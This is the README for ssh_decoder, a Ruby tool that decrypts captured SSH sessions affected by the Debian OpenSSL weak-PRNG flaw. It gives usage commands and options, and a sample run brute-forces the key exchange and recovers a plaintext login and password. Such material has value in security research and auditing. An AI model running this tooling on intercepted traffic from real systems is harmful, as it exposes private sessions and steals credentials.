ssh_decoder v1.0

This tool can decipher captured SSH sessions where one of the two ends uses a vulnerable OpenSSL (debian OpenSSL PRNG vuln).

You will need ssh_kex_keygen (>= 1.1) to recover the DH shared secret.

How to use :

- get a capture (PCAP)

- use tcpick -wRC -wRS session.pcap

- ruby ssh_decoder.rb *.dat

- ???

- profit.

Common options (in fact ssh_kex_keygen options, see its README) :

-v : verbose (dump all ssh packets)

-s : consider the server as vulnerable (default)

-c : consider the client as vulnerable

-n : number of processes to bruteforce with (number of CPUs of your machine)

Example session :

$ ruby ssh_decoder.rb data/full_openssh*.dat -n 4

* read handshake

cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha1, compr: none

* bruteforce DH

DH shared secret : 00c1eb39032ffcbfded4fd74b6884027419944dd72f5f2ca7acaec6ac7f4b46bb66765fd0ca073c1ccb6e7ec9cd8be91560f907818097c240e44b26025cdfd307298db51420da8793750da008233b92ac68e32d619cf739b1a8d31add5a787217741b7e6436eaf0fb4a33054f30f0d07cf571c24d583a6ed53fafe849203d82bd1

* derive keys

* decipher streams

* successful authentication packet

{:change=>0,

:password=>"toto",

:username=>"toto",

:nextservice=>"ssh-connection",

:auth_method=>"password"}

* deciphered streams saved to "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"

Known limitations :

- A few exotic ciphers are not implemented (quite unlikely to be used)

- Communications without group exchange (eg dropbear server) are not supported, but

shouldn't be hard to add (opensource at its best)

- Compression support is not tested, but should work

- `first_kex_follows' field ignored

Contact :

Raphaël Rigo : devel-ssh _!at!_ syscall.eu